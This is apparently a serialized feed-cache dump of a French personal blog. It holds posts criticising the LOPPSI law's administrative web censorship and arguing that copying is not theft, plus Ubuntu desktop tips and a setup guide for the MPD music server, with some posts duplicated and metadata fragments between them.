Ce n’est pas un hasard si le gouvernement s’obstine tant à supprimer l’autorité judiciaire. Notez que ce débat est très lié à celui de la neutralité du net, où les opposants veulent limiter la neutralité aux seuls “contenus licites”. Comprenez “contenus dont la licéité aura été décidée par une entreprise privée ou par un gouvernement, pas par la justice” (la justice n’est pas appliquée par des algorithmes dans les routeurs).

Il y a principalement deux raisons à cela : l’extension future du filtrage et la censure politique.

Extension du filtrage

La première raison est d’instaurer un filtrage administratif pour une raison quelconque (de préférence, quelque chose que tout le monde condamne, comme la pédopornographie), pour pouvoir l’étendre ensuite à d’autres domaines où l’intervention d’un juge poserait problème (car il n’autoriserait pas un tel filtrage).

En particulier, le 7 janvier 2010, dans ses vœux au monde de la culture, Nicolas Sarkozy a promis le filtrage aux industries du divertissement :

Plus on pourra dépolluer automatiquement les réseaux et les serveurs de toutes les sources de piratage, moins il sera nécessaire de recourir à des mesures pesant sur les internautes. […] Il faut donc expérimenter sans délai les dispositifs de filtrage.

D’ailleurs, Éric Ciotti lui-même ne dément pas l’extension future du filtrage.

Censure politique

La seconde raison est de mettre en place une architecture permettant de censurer les contenus dérangeant le pouvoir en place.

C’est ce qui s’est passé en Australie, où la liste noire secrète (qui a fuité sur Wikileaks) ne contenait que 32% de sites effectivement pédopornographiques, ou en Thaïlande, où des sites bloqués portaient la mention “lese majeste”. Comme le dit Wikileaks :

History shows that secret censorship systems, whatever their original intent, are invariably corrupted into anti-democratic behavior

Alors bien sûr, j’en entends déjà certains : « mais tu es parano, nous sommes en France, pas en Australie ou en Thaïlande, nous sommes en démocratie, dans le pays des Droits de l’Homme ». Au passage, un élément fondamental de la démocratie est la séparation des pouvoirs. Lorsque le ministère de l’intérieur a le pouvoir de limiter la liberté d’expression, il empiète sur le pouvoir judiciaire.

Mais plus concrètement, trois évènements récents nous rappellent les risques de dérives, même (les mauvaises langues diront “surtout”) de la part d’un gouvernement français.

Le premier concerne les propos de Brice Hortefeux qui lui ont valu une condamnation pour injure raciale, suivie de la violente réaction anti-Internet de la part de l’UMP.

Le deuxième, c’est la diffusion des enregistrements dans l’affaire Woerth-Bettencourt, que le gouvernement s’est empressé de dénoncer (voir à ce sujet l’émission d’Arrêt sur Images consacrée à l’affaire Bettencourt si vous y êtes abonnés). Mediapart.fr aurait-il été censuré si la LOPPSI avait été opérationnelle ? Je ne sais pas.

Le troisième, c’est la fuite des câbles diplomatiques par Wikileaks. Là au moins, c’est clair, Wikileaks aurait été censuré : WikiLeaks et la censure politique d’Internet: nous voila prévenus !

Si ce texte de loi est validé en l’état, il est fort possible que nous vivions demain ce qui se passe en Tunisie aujourd’hui (où « officiellement, la censure ne concerne que le terrorisme et la pornographie »). [Ce billet a été rédigé avant la chute du dictateur tunisien Ben Ali.]

Information des citoyens

Malgré l’extrême gravité de l’instauration d’une censure dictée par le ministère de l’intérieur, une majorité du citoyens n’a jamais entendu parler de ce projet de loi dans les médias traditionnels (TV et radio), qui sont restés bien silencieux.

Si les 20h de TF1 et de France 2 ont effectivement évoqué le projet de loi LOPPSI pendant les débats à l’Assemblée Nationale, c’était simplement pour mentionner qu’un article assouplit le permis de conduire à points. Bien maigre information par rapport aux enjeux de ce texte. Lors du vote en première lecture, TF1 a même été accusé de manquement à l’honnêteté de l’information.

Sur le web, en revanche, l’article 4 provoque un tollé. Bien évidemment de la part des associations comme La Quadrature du Net, très en pointe pour défendre les libertés fondamentales sur Internet, Reporters sans frontières ou encore L’Ange Bleu (citée plus haut). Les critiques fusent également du côté des sites d’information spécialisés comme PC INpact et Numerama, mais aussi sur ReadWriteWeb ainsi que sur les réseaux sociaux et sur les blogs de milliers de citoyens.

La presse en ligne a également publié quelques articles dénonçant cette censure :

Le décalage entre les informations fournies par les médias traditionnels et les médias en ligne est flagrant. Les causes profondes de la volonté de contrôler et de censurer l’information sur le Net ne sont certainement pas à chercher bien loin.

Conclusion

En conclusion, je souhaite faire passer 3 messages :

À lire également

Je vous recommande ces billets d’Edwy Plenel :

Remarque

(EDIT 18/01/2011) Je n’ai parlé ici que de l’article 4, mais beaucoup d’autres articles de la LOPPSI sont décriés. Dans ce projet, l’exécutif use de son influence sur le législatif pour affaiblir le judiciaire, ce qui remet violemment en cause la séparation des pouvoirs. Lire par exemple la tribune d’Eva Joly et Sandrine Bélier sur Rue89 : La Loppsi 2 n’est pas notre France.

";s:7:"dateiso";s:15:"20110108_104550";}s:15:"20101105_151157";a:7:{s:5:"title";s:30:"1101 astuces pour Ubuntu 10.10";s:4:"link";s:61:"http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1958";s:7:"pubDate";s:31:"Fri, 05 Nov 2010 14:11:57 +0000";s:11:"description";s:387:"Dans ce billet, je vais partager avec vous quelques astuces pour des opérations courantes sous Ubuntu (Gnome, Compiz et Firefox plus précisément). Je me suis aperçu que finalement beaucoup ne connaissaient pas certains de ces petits détails bien pratiques. 1101 est à lire en binaire, ça fait légèrement moins qu’en décimal Gnome Positionnement d’un ascenseur [...]";s:7:"content";s:12212:"

Dans ce billet, je vais partager avec vous quelques astuces pour des opérations courantes sous Ubuntu (Gnome, Compiz et Firefox plus précisément). Je me suis aperçu que finalement beaucoup ne connaissaient pas certains de ces petits détails bien pratiques.

1101 est à lire en binaire, ça fait légèrement moins qu’en décimal ;-)

Gnome

Positionnement d’un ascenseur


Il y a plusieurs interactions possibles avec un « ascenseur » (horizontal ou vertical) :

Il y existe une 4e méthode, moins connue, mais bien plus pratique, qui permet de positionner le curseur directement à une position (comme le glisser-déposer, mais sans avoir besoin d’aller chercher le curseur) : il suffit de cliquer avec le bouton du milieu à la position désirée dans la barre, le curseur va s’y positionner aussitôt. En maintenant enfoncé le clic milieu, il est également possible de déplacer le curseur.

Ceci fonctionne également pour les sliders, par exemple pour le contrôle du volume dans l’applet de son de Gnome, ou pour la barre d’avancement d’un lecteur vidéo (même si maintenant ils ont adopté ce comportement par défaut sur le clic gauche).

Contrôle du volume


Lorsque l’on clique sur l’applet de son de Gnome, un slider permettant de changer le volume apparaît. Mais il est également possible de survoler l’icône de son et d’augmenter ou de diminuer le volume grâce à la molette de la souris, sans cliquer.

Déplacement d’un applet

Sous Gnome, les barres du haut et du bas accueillent des applets. Avec un clic-droit sur l’un d’entre eux, un menu contextuel permet, entre autres, de le déverrouiller pour pouvoir le déplacer.

Si l’applet est déverrouillé, ce même menu permet de le déplacer. Mais pour cela il y a plus simple : glisser-déposer l’applet en utilisant le clic milieu (cliquer et maintenir enfoncé le clic milieu et déplacer l’applet).

Les icônes de raccourcis étant des applets particuliers, ils sont déplaçables de cette manière.

Double-panneau Nautilus

Nautilus permet d’afficher deux panneaux côte à côte en pressant la touche F3.

Une seconde pression sur F3 repasse en mode « un seul panneau » (le panneau inactif est alors supprimé). Cette fonctionnalité est très pratique pour faire des déplacements ou des copies de fichiers, de manière beaucoup plus directe que par l’utilisation de plusieurs fenêtres ou même d’onglets.

Renommage avec ou sans extension

Pour renommer un fichier dans Nautilus, vous connaissez sûrement la touche F2, qui renomme en présélectionnant le nom du fichier sans l’extension :

Mais il est également possible de renommer en présélectionnant le nom du fichier avec l’extension, grâce à Shift+F2.
EDIT : Ou alors, deux fois F2.

Compiz

Déplacement d’une fenêtre

Cette fonctionnalité est assez connue et utilisée je pense, puisqu’elle fonctionne avec quasiment tous les gestionnaires de fenêtres : le déplacement d’une fenêtre grâce à Alt+clic gauche. Elle est très pratique, car elle évite d’aller chercher la barre de titre pour déplacer une fenêtre.

Redimensionnement d’une fenêtre

De la même manière, il est possible de redimensionner une fenêtre grâce à Alt+clic milieu. Celle-ci est quasiment indispensable, tellement le fait d’aller chercher un bord de fenêtre est « coûteux ».
La fenêtre est virtuellement découpée en 9 parties égales (3 horizontales et 3 verticales). Lorsque vous laissez enfoncée la touche Alt et que vous appuyez sur le clic milieu au-dessus d’une fenêtre, le redimensionnement commence à partir du bord le plus proche (dépendant de la « partie » de la fenêtre que vous survolez).

Capture d’écran rapide par zone

Grâce à Compiz, il est possible de capturer très simplement une zone de l’écran, grâce à Super+clic gauche (la touche Super est la touche Windows sur la majorité des claviers) :

Pour cela, il faut activer le plug-in « Capture d’écran » dans ccsm (compizconfig-settings-manager doit être installé), et choisir un répertoire de destination (le bureau par exemple, j’en avais déjà parlé ici).

Changement de bureau

Par défaut, le changement de bureau est désactivé lors du déplacement d’une fenêtre sur un bord et lors d’un scroll avec la molette de la souris sur le bureau. Personnellement, je préfère l’activer.
Cela se configure dans ccsm (là encore, compizconfig-settings-manager doit être installé).

Pour changer de bureau lors d’un déplacement de fenêtre au bord de l’écran : Bureaux sur un plan (version améliorée) → Changement de bureau aux bords (dernier onglet)→ Changement en déplaçant une fenêtre au bord (2e case à cocher).
Pour changer de bureau lors d’un scroll : Changeur de bureau → Desktop-based viewport switching → Bureau suivant = Button5 ; Bureau précédent = Button4.

Firefox

Ajout d’un lien dans gnome-panel


Pour garder en mémoire une URL, la méthode la plus simple et la plus appropriée est bien sûr l’utilisation de marque-pages. Mais je trouve pratique de mettre un raccourci dans la barre de Gnome, pour une page que je veux lire plus tard.
Pour cela, il suffit de glisser-déposer le petit icône (le favicon) à gauche de la barre d’adresse vers la barre de Gnome. Il est par contre regrettable que l’icône du raccourci ainsi créé ne soit pas le favicon.

Suppression d’un historique de liste déroulante

Lorsqu’une liste déroulante propose des résultats déjà entrés auparavant (à partir de l’historique par exemple), il est possible de supprimer spécifiquement une entrée rapidement, en survolant avec la souris l’entrée correspondante et en appuyant sur Shift+Suppr.

Cela fonctionne dans la barre d’adresse, dans la barre de recherche et dans toute entrée de formulaire d’une page web.

Chargement d’une URL par un clic milieu

Lorsqu’une URL est présente dans le presse-papier, il est possible de la charger dans Firefox avec un simple clic milieu. Pour activer cette fonctionnalité, il faut taper about:config dans la barre d’adresse et passer la valeur de middlemouse.contentLoadURL à true.

Il suffit alors de surligner une URL (dans un fichier texte par exemple) puis de cliquer milieu dans le contenu d’une page dans Firefox (sur un espace « vide », pas sur un lien ou dans un champ de formulaire).

EDIT : Ou sans modifier la configuration par défaut, voir commentaire #1.

Notifications intégrées

Les notifications de Firefox ne sont pas intégrées au système : par défaut c’est un rectangle qui s’ouvre en bas à droite.
Pour utiliser le système de notification d’Ubuntu, il suffit d’installer le paquet xul-ext-notify (anciennement firefox-notify) et de redémarrer Firefox. C’est dommage qu’il ne soit pas installé par défaut.

Conclusion

Voilà les quelques astuces que je pouvais partager avec vous. Si vous en avez d’autres, n’hésitez pas à les détailler. ;-)

";s:7:"dateiso";s:15:"20101105_151157";}s:15:"20101105_141157";a:7:{s:5:"title";s:30:"1101 astuces pour Ubuntu 10.10";s:4:"link";s:60:"http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10";s:4:"guid";s:60:"http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10";s:7:"pubDate";s:25:"2010-11-05T14:11:57+01:00";s:11:"description";s:0:"";s:7:"content";s:10081:"

Dans ce billet, je vais partager avec vous quelques astuces pour des opérations courantes sous Ubuntu (Gnome, Compiz et Firefox plus précisément). Je me suis aperçu que finalement beaucoup ne connaissaient pas certains de ces petits détails bien pratiques.

1101 est à lire en binaire, ça fait légèrement moins qu’en décimal ;-)

Gnome

Positionnement d’un ascenseur

position-scrollbar

Il y a plusieurs interactions possibles avec un “ascenseur” (horizontal ou vertical) :

Il y existe une 4e méthode, moins connue, mais bien plus pratique, qui permet de positionner le curseur directement à une position (comme le glisser-déposer, mais sans avoir besoin d’aller chercher le curseur) : il suffit de cliquer avec le bouton du milieu à la position désirée dans la barre, le curseur va s’y positionner aussitôt. En maintenant enfoncé le clic milieu, il est également possible de déplacer le curseur.

Ceci fonctionne également pour les sliders, par exemple pour le contrôle du volume dans l’applet de son de Gnome, ou pour la barre d’avancement d’un lecteur vidéo (même si maintenant ils ont adopté ce comportement par défaut sur le clic gauche).

Contrôle du volume

sound-applet

Lorsque l’on clique sur l’applet de son de Gnome, un slider permettant de changer le volume apparaît. Mais il est également possible de survoler l’icône de son et d’augmenter ou de diminuer le volume grâce à la molette de la souris, sans cliquer.

Déplacement d’un applet

Sous Gnome, les barres du haut et du bas accueillent des applets. Avec un clic-droit sur l’un d’entre eux, un menu contextuel permet, entre autres, de le déverrouiller pour pouvoir le déplacer.

gnome-panel

Si l’applet est déverrouillé, ce même menu permet de le déplacer. Mais pour cela il y a plus simple : glisser-déposer l’applet en utilisant le clic milieu (cliquer et maintenir enfoncé le clic milieu et déplacer l’applet).

Les icônes de raccourcis étant des applets particuliers, ils sont déplaçables de cette manière.

Double-panneau Nautilus

Nautilus permet d’afficher deux panneaux côte à côte en pressant la touche F3.

nautilus-f3

Une seconde pression sur F3 repasse en mode “un seul panneau” (le panneau inactif est alors supprimé). Cette fonctionnalité est très pratique pour faire des déplacements ou des copies de fichiers, de manière beaucoup plus directe que par l’utilisation de plusieurs fenêtres ou même d’onglets.

Renommage avec ou sans extension

Pour renommer un fichier dans Nautilus, vous connaissez sûrement la touche F2, qui renomme en présélectionnant le nom du fichier sans l’extension :

rename

Mais il est également possible de renommer en présélectionnant le nom du fichier avec l’extension, grâce à Shift+F2.

EDIT : Ou alors, deux fois F2.

Compiz

Déplacement d’une fenêtre

Cette fonctionnalité est assez connue et utilisée je pense, puisqu’elle fonctionne avec quasiment tous les gestionnaires de fenêtres : le déplacement d’une fenêtre grâce à Alt+clic gauche. Elle est très pratique, car elle évite d’aller chercher la barre de titre pour déplacer une fenêtre.

Redimensionnement d’une fenêtre

De la même manière, il est possible de redimensionner une fenêtre grâce à Alt+clic milieu. Celle-ci est quasiment indispensable, tellement le fait d’aller chercher un bord de fenêtre est “coûteux”.

La fenêtre est virtuellement découpée en 9 parties égales (3 horizontales et 3 verticales). Lorsque vous laissez enfoncée la touche Alt et que vous appuyez sur le clic milieu au-dessus d’une fenêtre, le redimensionnement commence à partir du bord le plus proche (dépendant de la “partie” de la fenêtre que vous survolez).

resize

Capture d’écran rapide par zone

Grâce à Compiz, il est possible de capturer très simplement une zone de l’écran, grâce à Super+clic gauche (la touche Super est la touche Windows sur la majorité des claviers) :

quick-screenshot

Pour cela, il faut activer le plug-in “Capture d’écran” dans ccsm (compizconfig-settings-manager doit être installé), et choisir un répertoire de destination (le bureau par exemple, j’en avais déjà parlé ici).

Changement de bureau

Par défaut, le changement de bureau est désactivé lors du déplacement d’une fenêtre sur un bord et lors d’un scroll avec la molette de la souris sur le bureau. Personnellement, je préfère l’activer.

Cela se configure dans ccsm (là encore, compizconfig-settings-manager doit être installé).

Pour changer de bureau lors d’un déplacement de fenêtre au bord de l’écran : Bureaux sur un plan (version améliorée) → Changement de bureau aux bords (dernier onglet)→ Changement en déplaçant une fenêtre au bord (2e case à cocher).

Pour changer de bureau lors d’un scroll : Changeur de bureau → Desktop-based viewport switching → Bureau suivant = Button5 ; Bureau précédent = Button4.

Firefox

Ajout d’un lien dans gnome-panel

firefox-gnome-panel

Pour garder en mémoire une URL, la méthode la plus simple et la plus appropriée est bien sûr l’utilisation de marque-pages. Mais je trouve pratique de mettre un raccourci dans la barre de Gnome, pour une page que je veux lire plus tard.

Pour cela, il suffit de glisser-déposer le petit icône (le favicon) à gauche de la barre d’adresse vers la barre de Gnome. Il est par contre regrettable que l’icône du raccourci ainsi créé ne soit pas le favicon.

Suppression d’un historique de liste déroulante

Lorsqu’une liste déroulante propose des résultats déjà entrés auparavant (à partir de l’historique par exemple), il est possible de supprimer spécifiquement une entrée rapidement, en survolant avec la souris l’entrée correspondante et en appuyant sur Shift+Suppr.

firefox-history

Cela fonctionne dans la barre d’adresse, dans la barre de recherche et dans toute entrée de formulaire d’une page web.

Chargement d’une URL par un clic milieu

Lorsqu’une URL est présente dans le presse-papier, il est possible de la charger dans Firefox avec un simple clic milieu. Pour activer cette fonctionnalité, il faut taper about:config dans la barre d’adresse et passer la valeur de middlemouse.contentLoadURL à true.

Il suffit alors de surligner une URL (dans un fichier texte par exemple) puis de cliquer milieu dans le contenu d’une page dans Firefox (sur un espace “vide”, pas sur un lien ou dans un champ de formulaire).

EDIT : Ou sans modifier la configuration par défaut, grâce à un clic milieu sur le favicon à gauche de la barre d’adresse.

Notifications intégrées

Les notifications de Firefox ne sont pas intégrées au système : par défaut c’est un rectangle qui s’ouvre en bas à droite.

Pour utiliser le système de notification d’Ubuntu, il suffit d’installer le paquet xul-ext-notify (anciennement firefox-notify) et de redémarrer Firefox. C’est dommage qu’il ne soit pas installé par défaut.

firefox-notify

Conclusion

Voilà les quelques astuces que je pouvais partager avec vous. Si vous en avez d’autres, n’hésitez pas à les détailler. ;-)

";s:7:"dateiso";s:15:"20101105_141157";}s:15:"20100928_222546";a:7:{s:5:"title";s:50:"Music Player Daemon (MPD) : la musique à distance";s:4:"link";s:76:"http://blog.rom1v.com/2010/09/music-player-daemon-mpd-la-musique-a-distance/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1907";s:7:"pubDate";s:31:"Tue, 28 Sep 2010 20:25:46 +0000";s:11:"description";s:371:"MPD est un lecteur audio libre un peu particulier : il fonctionne suivant le modèle client/serveur. Le serveur lit la musique, et les clients font office de télécommande (évoluée). Typiquement, le serveur est installé sur une machine reliée aux enceintes du salon, et les clients sont installés sur chacun des ordinateurs et des téléphones (ainsi que [...]";s:7:"content";s:6391:"

MPD est un lecteur audio libre un peu particulier : il fonctionne suivant le modèle client/serveur. Le serveur lit la musique, et les clients font office de télécommande (évoluée).

Typiquement, le serveur est installé sur une machine reliée aux enceintes du salon, et les clients sont installés sur chacun des ordinateurs et des téléphones (ainsi que sur le serveur lui-même s’il est relié à un écran).

Serveur

Installation

L’installation est extrêmement simple (testé sur Ubuntu 10.10), il suffit d’installer mpd :

sudo apt-get install mpd

Ensuite, il y a quelques petites lignes à modifier dans le fichier de configuration /etc/mpd.conf.
Tout d’abord, il faut définir le répertoire du serveur qui contient la musique :

music_directory                "/home/rom/Musique"

Il vaut mieux commenter la ligne bind_to_address (pour éviter pas mal de problèmes) :

#bind_to_address               "localhost"

Pour que MPD ne monopolise pas le son de tout le système, commenter la ligne :

#	device		"hw:0,0"	# optional

Enfin, pour pouvoir changer le volume, décommenter la ligne :

mixer_type                     "software"

Mise à jour de la base de données

La première fois, et à chaque fois que de nouveaux fichiers sont ajoutés au répertoire de musique, la base de données doit être mise à jour :

sudo mpd --create-db

(le serveur doit être stoppé pour mettre à jour la base de cette manière)

Des logiciels clients permettent également de mettre à jour la base d’un simple clic.

Vérifiez bien que les fichiers contenus dans ce répertoire sont bien lisibles par tous (en particulier par l’utilisateur mpd). Si ce n’est pas le cas, modifiez les droits avec :

chmod +r -R /home/rom/Musique

Démarrage et arrêt

Pour démarrer le serveur :

sudo service mpd start

Pour le stopper :

sudo service mpd stop

Il démarrera automatiquement à chaque démarrage du système.

Clients

Les clients permettent de gérer la lecture à distance. Il est possible d’ouvrir plusieurs clients à la fois (un sur l’ordinateur et un sur le téléphone par exemple) qui resteront synchronisés avec le serveur. La lecture ne s’arrête pas lors de la fermeture du client. Chaque client a juste besoin de l’IP du serveur et du port (par défaut 6600).

Il en existe de nombreux pour toutes les plateformes. Malheureusement, beaucoup ne sont pas stables et souffrent de problèmes d’ergonomie. Globalement, ils sont moins agréables à utiliser qu’un vrai lecteur de musique installé localement (mais les contraintes ne sont pas les mêmes).

Je vais en présenter deux, un pour Gnome et un pour Android.

Ario

Après avoir testé de nombreux clients pour PC, mon choix s’est porté sur Ario :

Quelques avantages qui m’ont convaincu :

DMix/MPDroid

Du côté d’Android, il y a beaucoup moins de clients. J’ai choisi DMix/MPDroid (qui est un fork de PMix) :

C’est un simple fichier apk à installer.

Dans la bibliothèque, lors de la navigation dans la liste des albums, une pression longue ajoute l’album sélectionné à la liste de lecture alors qu’une pression courte permet de naviguer vers les titres de l’album (pour les ajouter un par un). Le fonctionnement est similaire pour la liste des artistes. C’est bon à savoir ;-)

Aller plus loin

Je me suis contenté ici de décrire les fonctionnalités de base de MPD qui me sont utiles. Mais il est également possible de le configurer en serveur de streaming, pour lire la musique du serveur sur un ordinateur ou un téléphone. OpenSyd en parle à la fin d’un récent billet.

Conclusion

Ce lecteur est vraiment très pratique pour une gestion centralisée de la musique chez soi, et permet de toujours lire la musique sur le système son du salon (plutôt que sur la sortie audio de l’ordinateur).

";s:7:"dateiso";s:15:"20100928_222546";}s:15:"20100928_202546";a:7:{s:5:"title";s:51:"Music Player Daemon (MPD) : la musique à distance";s:4:"link";s:75:"http://blog.rom1v.com/2010/09/music-player-daemon-mpd-la-musique-a-distance";s:4:"guid";s:75:"http://blog.rom1v.com/2010/09/music-player-daemon-mpd-la-musique-a-distance";s:7:"pubDate";s:25:"2010-09-28T20:25:46+02:00";s:11:"description";s:0:"";s:7:"content";s:5923:"

MPD est un lecteur audio libre un peu particulier : il fonctionne suivant le modèle client/serveur. Le serveur lit la musique, et les clients font office de télécommande (évoluée).

Typiquement, le serveur est installé sur une machine reliée aux enceintes du salon, et les clients sont installés sur chacun des ordinateurs et des téléphones (ainsi que sur le serveur lui-même s’il est relié à un écran).

Serveur

Installation

L’installation est extrêmement simple (testé sur Ubuntu 10.10), il suffit d’installer mpd :

sudo apt-get install mpd

Ensuite, il y a quelques petites lignes à modifier dans le fichier de configuration /etc/mpd.conf. Tout d’abord, il faut définir le répertoire du serveur qui contient la musique :

music_directory                "/home/rom/Musique"

Il vaut mieux commenter la ligne bind_to_address (pour éviter pas mal de problèmes) :

#bind_to_address               "localhost"

Pour que MPD ne monopolise pas le son de tout le système, commenter la ligne :

#	device		"hw:0,0"	# optional

Enfin, pour pouvoir changer le volume, décommenter la ligne :

mixer_type                     "software"

Mise à jour de la base de données

La première fois, et à chaque fois que de nouveaux fichiers sont ajoutés au répertoire de musique, la base de données doit être mise à jour :

sudo mpd --create-db

(le serveur doit être stoppé pour mettre à jour la base de cette manière)

EDIT : L’option --create-db n’existe plus côté serveur, la mise à jour de la base de données doit être demandée par un client. Par exemple :

mpc -h host update

Des logiciels clients permettent également de mettre à jour la base d’un simple clic.

Vérifiez bien que les fichiers contenus dans ce répertoire sont bien lisibles par tous (en particulier par l’utilisateur mpd). Si ce n’est pas le cas, modifiez les droits avec :

chmod +r -R /home/rom/Musique

Démarrage et arrêt

Pour démarrer le serveur :

sudo service mpd start

Pour le stopper :

sudo service mpd stop

Il démarrera automatiquement à chaque démarrage du système.

Clients

Les clients permettent de gérer la lecture à distance. Il est possible d’ouvrir plusieurs clients à la fois (un sur l’ordinateur et un sur le téléphone par exemple) qui resteront synchronisés avec le serveur. La lecture ne s’arrête pas lors de la fermeture du client. Chaque client a juste besoin de l’IP du serveur et du port (par défaut 6600).

Il en existe [de nombreux][] pour toutes les plateformes. Malheureusement, beaucoup ne sont pas stables et souffrent de problèmes d’ergonomie. Globalement, ils sont moins agréables à utiliser qu’un vrai lecteur de musique installé localement (mais les contraintes ne sont pas les mêmes).

Je vais en présenter deux, un pour Gnome et un pour Android.

Ario

Après avoir testé de nombreux clients pour PC, mon choix s’est porté sur Ario :

ario

Quelques avantages qui m’ont convaincu :

DMix/MPDroid

Du côté d’Android, il y a beaucoup moins de clients. J’ai choisi DMix/MPDroid :

dmix

C’est un simple fichier apk à installer.

Dans la bibliothèque, lors de la navigation dans la liste des albums, une pression longue ajoute l’album sélectionné à la liste de lecture alors qu’une pression courte permet de naviguer vers les titres de l’album (pour les ajouter un par un). Le fonctionnement est similaire pour la liste des artistes. C’est bon à savoir ;-)

Aller plus loin

Je me suis contenté ici de décrire les fonctionnalités de base de MPD qui me sont utiles. Mais il est également possible de le configurer en serveur de streaming, pour lire la musique du serveur sur un ordinateur ou un téléphone. OpenSyd en parle à la fin d’un récent billet.

Conclusion

Ce lecteur est vraiment très pratique pour une gestion centralisée de la musique chez soi, et permet de toujours lire la musique sur le système son du salon (plutôt que sur la sortie audio de l’ordinateur).

";s:7:"dateiso";s:15:"20100928_202546";}s:15:"20100807_005247";a:7:{s:5:"title";s:26:"Piratage ou usage commun ?";s:4:"link";s:55:"http://blog.rom1v.com/2010/08/piratage-ou-usage-commun/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1816";s:7:"pubDate";s:31:"Fri, 06 Aug 2010 22:52:47 +0000";s:11:"description";s:398:"Lorsqu’on parle de la loi Hadopi, c’est souvent pour mettre en évidence son caractère inapplicable ou pour dénoncer son atteinte aux libertés fondamentales. Il me semble que beaucoup sont d’accord pour « lutter contre le piratage, mais pas comme ça ». C’est ce que je pensais avant. Pour une fois, je voudrais évoquer les fondements mêmes de [...]";s:7:"content";s:10687:"

Lorsqu’on parle de la loi Hadopi, c’est souvent pour mettre en évidence son caractère inapplicable ou pour dénoncer son atteinte aux libertés fondamentales. Il me semble que beaucoup sont d’accord pour « lutter contre le piratage, mais pas comme ça ». C’est ce que je pensais avant.

Pour une fois, je voudrais évoquer les fondements mêmes de la guerre contre le partage, le « fléau » qu’elle s’est donné comme objectif de combattre. Je vous livre donc mes quelques réflexions sur ce qui est appelé piratage.

Un peu de science-fiction

Supposons qu’on invente une machine capable de dupliquer les objets matériels, accessible à tous. Plus personne ne serait pauvre, plus personne ne mourrait de faim : il suffirait de dupliquer les oranges, les baguettes de pain, etc. Les bases de l’économie de la distribution seraient totalement ruinées. Les industries alimentaires, textiles, automobiles… crieraient au scandale : tout le monde serait capable de copier la voiture de son voisin. D’ailleurs, que deviendrait l’argent ? Tout le monde pourrait dupliquer ses billets et ses pièces…

De la même manière, si demain on inventait un téléporteur permettant à chacun de se déplacer d’un point du globe à un point autre instantanément et gratuitement, que deviendraient les entreprises de transport, les constructeurs automobiles et les stations-services ? Sensibiliserions-nous la population sur les ravages des téléporteurs, en la culpabilisant de faire perdre des emplois à la SNCF ou chez Air France ?

Faudrait-il nier les avantages induits par ces évolutions, et tenter à tout prix de les restreindre ou de les interdire, en traitant de pirates ceux qui copient une orange ou qui « volent » la SNCF en se téléportant ? Faudrait-il distinguer la « téléportation légale », celle qui ne se ferait que de gare en gare après l’achat d’un ticket, de la « téléportation illégale », qu’on pourrait utiliser n’importe où gratuitement et sans contraintes ? D’ailleurs, comment pourrait-on contrôler que personne ne se téléporterait pas « illégalement » sans instaurer une surveillance généralisée de la population ?

Mettrions-nous tout ceci en œuvre afin de préserver les modèles économiques en place dans le monde d’avant ces innovations ?

Ou alors faudrait-il réfléchir à une société adaptée à cette (r)évolution ?

Internet

Internet est à la fois un copieur et un téléporteur : il permet de dupliquer à distance !

Ce n’est pas un supermarché géant, ni un gadget pour geeks, ni un outil qui ne sert qu’à consulter les résultats sportifs… C’est beaucoup plus que cela ! C’est sans doute l’invention qui modifie le plus en profondeur la société en si peu de temps. Mais vu que c’est le sujet de ce billet, je ne vais parler que de la toute petite partie qui concerne l’accès à la culture « sous copyright ».

Valeur

La dématérialisation a permis à tous de copier, car un contenu numérique est intrinsèquement copiable, gratuitement. Vendre de la copie dans un tel environnement est suicidaire. Ce qui pose problème, c’est que justement c’était le modèle économique du monde matériel, donc tout est remis en cause. Avant, il fallait passer par les distributeurs pour obtenir une copie, plus maintenant.

On est dans le même cas qu’avec le téléporteur : il serait illusoire de vendre un déplacement en avion ou en train. On pourrait faire toutes les sensibilisations du monde, en expliquant qu’en se téléportant gratuitement on va faire perdre des emplois à la SNCF et chez Air France, la valeur d’un « déplacement » serait intrinsèquement nulle, ce serait invendable.

Ce qui a de la valeur, c’est l’œuvre en elle-même (cette valeur n’est d’ailleurs pas forcément essentiellement monétaire), ce n’est pas son support. Le problème, c’est que financer l’œuvre en elle-même est délicat. Jusqu’ici, dans le monde matériel, l’œuvre était forcément fixée sur un support (un livre par exemple, ou un CD), il suffisait donc de faire payer le support, et l’œuvre était payée (le créateur n’en touchait qu’une toute petite partie, mais ça c’est une autre histoire)… On évitait donc le problème en vendant chaque instance de l’œuvre, plutôt que de financer l’œuvre.

Mais Internet a fondamentalement redéfini les règles : il a clairement séparé œuvre et support (de la même manière qu’un téléporteur redéfinirait les règles physiques dans notre société). Faire payer le support n’est donc plus pertinent. De plus, cette séparation permet à l’œuvre d’être dupliquable à l’infini et gratuitement par tous. La décorrélation entre l’acquisition d’une nouvelle copie et son financement est donc inéluctable.

Cette séparation est déjà en place depuis plusieurs années : chacun peut obtenir une nouvelle copie d’une œuvre dématérialisée sans pour autant la payer. Ce qu’il faut, c’est financer la création, pas interdire les copies ! Rien ne justifie que les œuvres soient payées par la vente à l’unité de copies. D’ailleurs, quand on entend « il faut acheter les albums pour que les créateurs soient rémunérés », on pourrait également dire « il faut acheter les émissions pour que les animateurs TV soient rémunérés ». On voit bien que le travail n’a pas à être rémunéré par l’accès unitaire de chacun au fruit de ce travail… Copier n’est pas voler. Partager non plus.

Transition

Mais la transition est brutale, beaucoup trop brutale pour avoir le temps de mettre en place des mesures justes et adaptées. Pas pour l’enrayer, mais pour l’accompagner. Du coup, le choix qui est fait pour l’instant est de tenter d’empêcher cette révolution qui a déjà eu lieu. C’est voué à l’échec.

Rien n’est fait pour résoudre le problème. Au contraire, tout est mis en œuvre pour tenter de réassocier œuvre et support (support qui a la caractéristique de ne pas être copiable gratuitement, même s’il est virtuel comme avec les DRM), plutôt que de profiter de l’immense opportunité de la diffusion illimitée des œuvres (plusieurs études montrent d’ailleurs que le partage de fichiers a un effet global positif sur l’économie). Des campagnes de propagande, maintenant inscrites dans la loi pour expliquer aux petits enfants dans les écoles, veulent faire croire que partager, c’est mal, que ça détruit la création, alors qu’au contraire ça la diffuse et la fait vivre.

Financement

